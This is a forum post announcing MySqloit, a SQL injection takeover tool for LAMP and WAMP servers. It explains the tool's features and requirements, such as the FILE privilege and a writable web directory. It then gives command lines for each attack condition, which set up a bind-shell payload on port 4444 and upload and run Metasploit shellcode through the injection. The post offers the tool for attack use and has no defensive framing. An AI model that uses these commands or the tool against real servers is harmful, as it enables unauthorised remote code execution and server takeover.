Jump to content
begood

MySqloit - SQLi tool focused on LAMP and WAMP. upload and execute metasploit payloads

Recommended Posts

Posted (edited)

MySqloit is a SQL Injection takeover tool focused on LAMP (Linux, Apache,MySql,PHP) and WAMP (Windows, Apache,MySql,PHP) platforms. It has an ability to upload and execute Metasploit shellcodes through the MySql SQL Injection vulnerability.

Platform supported

1) Linux

Key Features

1) SQL Injection detection using time based injection method 2) Database fingerprint 3) Web server directory fingerprint 4) Payload creation and execution

Requirements

1) FILE privilege 2) Web server and database server must be in the same machine 3) Prior knowledge of the web server directory 4) For the LAMP platform, if the mysqld runs as a non root user, a writable web server directory is required

Usage

./mysqloit.py -h

Example:

Attacking LAMP

On the recent versions of MySQL, mysqld refuses to run as a root unless the user forces them.

In this case, a writable web server directory is required

Condition A:

-mysqld runs as a root user

-web server directoy = /var/www

./mysqloit.py -p bind 4444

./mysqloit.py -e /var/www /

Condition B:

-mysqld runs as a non root user

-web server root directory = /var/www

-writable web server directory = /var/www/upload

./mysqloit.py -p bind 4444

./mysqloit.py -e /var/www /upload

Condition C:

-mysqld runs as a non root user

-web server root directory = /var/www

-writable web server directory = no writable directory

Exploit will fail

Attacking WAMP

Condition A:

MySQL Windows always run as a LocalSystem.

In this case, a writable web server directory is not required.

Condition A:

-web server directory = C:\Program Files\Apache2\htdocs\

./mysqloit -p bind 4444

./mysqloit -e bind 4444 'C:\Program Files\Apache2\htdocs\' \

mysqloit - Project Hosting on Google Code

Edited by begood

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...